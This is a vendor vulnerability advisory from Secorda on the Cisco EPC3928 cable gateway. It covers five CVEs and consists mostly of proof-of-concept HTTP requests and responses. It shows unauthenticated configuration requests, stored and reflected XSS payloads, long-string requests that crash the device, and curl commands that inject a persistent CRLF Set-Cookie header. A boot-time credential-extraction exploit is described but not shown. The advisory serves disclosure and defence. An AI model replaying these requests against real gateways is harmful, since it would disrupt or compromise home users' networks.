# Title: Cisco EPC 3928 Multiple Vulnerabilities
# Vendor: http://www.cisco.com/
# Vulnerable Version(s): Cisco Model EPC3928 DOCSIS 3.0 8x4 Wireless Residential Gateway
# CVE References: CVE-2015-6401 / CVE-2015-6402 / CVE-2016-1328 / CVE-2016-1336 / CVE-2016-1337
# Author: Patryk Bogdan from Secorda security team (http://secorda.com/)

========

Summary:
In recent security research, Secorda security team has found multiple vulnerabilities affecting Cisco EPC3928 Wireless Residential Gateway. Variants of this product can also be affected.
Using combination of several vulnerabilities, attacker is able to remotely download and decode boot configuration file, which you can see on PoC video below. The attacker is also able to reconfigure device in order to perform attacks on the home-user, inject additional data to modem http response or extract sensitive informations from the device, such as the Wi-Fi key.

Until Cisco releases workarounds or patches, we recommend verify access to the web-based management panel and make sure that it is not reachable from the external network.

Vulnerabilities:
1) Unauthorized Command Execution
2) Gateway Stored XSS
3) Gateway Client List DoS
4) Gateway Reflective XSS
5) Gateway HTTP Corruption DoS
6) "Stored" HTTP Response Injection
7) Boot Information Disclosure

========

PoC:

- Unathorized Command Execution

#1 - Channel selection request:
POST /goform/ChannelsSelection HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.1/ChannelsSelection.asp
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 24

SAHappyUpstreamChannel=3

#1 - Response:
HTTP/1.0 200 OK
Server: PS HTTP Server
Content-type: text/html
Connection: close

<html lang="en"><head><title>RELOAD</title><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><script language="javascript" type="text/javascript" src="../active.js"></script><script language="javascript" type="text/javascript" src="../lang.js"></script><script language="javascript" type="text/javascript">var totaltime=120;function time(){document.formnow.hh.value=(" "+totaltime+" Seconds ");totaltime--;} function refreshStatus(){window.setTimeout("window.parent.location.href='http://192.168.1.1'",totaltime*1000);}mytime=setInterval('time()',1000);</script></head><body BGCOLOR="#CCCCCC" TEXT=black><form name="formnow"><HR><h1><script language="javascript" type="text/javascript">dw(msg_goform34);</script><a href="http://192.168.1.1/index.asp"><script language="javascript" type="text/javascript">dw(msg_goform35);</script></a><script language="javascript">refreshStatus();</script><input type="text" name="hh" style="background-color:#CCCCCC;font-size:36;border:none"></h1></form></body></html>

#2 - Clear logs request:
POST /goform/Docsis_log HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.1/Docsis_log.asp
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 41

BtnClearLog=Clear+Log&SnmpClearEventLog=0

#2 - Response:
HTTP/1.0 302 Redirect
Server: PS HTTP Server
Location: http://192.168.1.1/Docsis_log.asp
Content-type: text/html
Connection: close



- Gateway Stored and Reflective Cross Site Scripting

Example #1:

#1 – Stored XSS via username change request:
POST /goform/Administration HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.1/Administration.asp
Cookie: Lang=en; SessionID=2719880
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 165

working_mode=0&sysname=<script>alert('XSS')</script>&sysPasswd=home&sysConfirmPasswd=home&save=Save+Settings&preWorkingMode=1&h_wlan_enable=enable&h_user_type=common

#1 – Response:
HTTP/1.0 302 Redirect
Server: PS HTTP Server
Location: http://192.168.1.1/Administration.asp
Content-type: text/html
Connection: close


#2 – Redirect request:
GET /Administration.asp HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.1/Administration.asp
Cookie: Lang=en; SessionID=2719880
DNT: 1
Connection: keep-alive

#2 – Response:
HTTP/1.1 200 OK
Content-type: text/html
Expires: Thu, 3 Oct 1968 12:00:00 GMT
Pragma: no-cache
Cache-Control: no-cache, must-revalidate
Connection: close
Content-Length: 15832

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html lang="en">
<head>
(...)
<tr>
<td>
<script language="javascript" type="text/javascript">dw(usertype);</script>
</td>
<td nowrap>
<script>alert('XSS')</script>
</TD>
</tr>
<tr>
(...)


Example #2:

#1 – Reflected XSS via client list request:
POST /goform/WClientMACList HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: 192.168.1.1/WClientMACList.asp
Cookie: Lang=en; SessionID=109660
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 62

sortWireless=mac&h_sortWireless=mac" onmouseover=alert(1) x="y

#1 – Response:
HTTP/1.0 302 Redirect
Server: PS HTTP Server
Location: 192.168.1.1/WClientMACList.asp
Content-type: text/html
Connection: close
#2 – Redirect request:
GET /WClientMACList.asp HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: 192.168.1.1/WClientMACList.asp
Cookie: Lang=en; SessionID=109660
Connection: keep-alive

#2 – Reponse:
HTTP/1.1 200 OK
Content-type: text/html
Expires: Thu, 3 Oct 1968 12:00:00 GMT
Pragma: no-cache
Cache-Control: no-cache, must-revalidate
Connection: close
Content-Length: 7385

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html lang="en">
<head>
(...)
</table>
</div>
<input type="hidden" name="h_sortWireless" value="mac" onmouseover=alert(1) x="y" />
</form>
</body>
</html>
(...)



- Gateway Client List Denial of Service

Device will crash after sending following request.

# HTTP Request
POST /goform/WClientMACList HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.1/WClientMACList.asp
Cookie: Lang=en; SessionID=109660
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 62

sortWireless=mac&h_sortWireless=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX



- Gateway HTTP Corruption Denial of Service

Device will crash after sending following request.

# HTTP Request
POST /goform/Docsis_system HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.1/Docsis_system.asp
Cookie: Lang=en; SessionID=348080
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 106

username_login=&password_login=&LanguageSelect=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&Language_Submit=0&login=Log+In



- "Stored" HTTP Response Injection

It is able to inject additional HTTP data to response, if string parameter of LanguageSelect won't be too long (in that case device will crash).
Additional data will be stored in device memory and returned with every http response on port 80 until reboot.

devil@hell:~$ curl -gi http://192.168.1.1/ -s | head -10
HTTP/1.1 200 OK
Content-type: text/html
Expires: Thu, 3 Oct 1968 12:00:00 GMT
Pragma: no-cache
Cache-Control: no-cache, must-revalidate
Connection: close
Content-Length: 1469

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html lang="en">

devil@hell:~$ curl --data "username_login=&password_login=&LanguageSelect=en%0d%0aSet-Cookie: w00t&Language_Submit=0&login=Log+In" http://192.168.1.1/goform/Docsis_system -s > /dev/null

devil@hell:~$ curl -gi http://192.168.1.1/ -s | head -10
HTTP/1.1 200 OK
Content-type: text/html
Expires: Thu, 3 Oct 1968 12:00:00 GMT
Pragma: no-cache
Cache-Control: no-cache, must-revalidate
Connection: close
Set-Cookie: Lang=en
Set-Cookie: w00t
Set-Cookie: SessionID=657670
Content-Length: 1469



- Boot Information Disclosure

In early booting phase, for a short period of time some administrator functions can be executed, and it is able to extract device configuration file. We wrote an exploit that crash the modem, and then retrieve and decode config in order to obtain users credentials.

Exploit video PoC: https://www.youtube.com/watch?v=PHSx0s7Turo


========

CVE References:
CVE-2015-6401
CVE-2015-6402
CVE-2016-1328
CVE-2016-1336
CVE-2016-1337

Cisco Bug ID’s:
CSCux24935
CSCux24938
CSCux24941
CSCux24948
CSCuy28100
CSCux17178

Read more on our blog:
http://secorda.com/multiple-security-vulnerabilities-affecting-cisco-epc3928/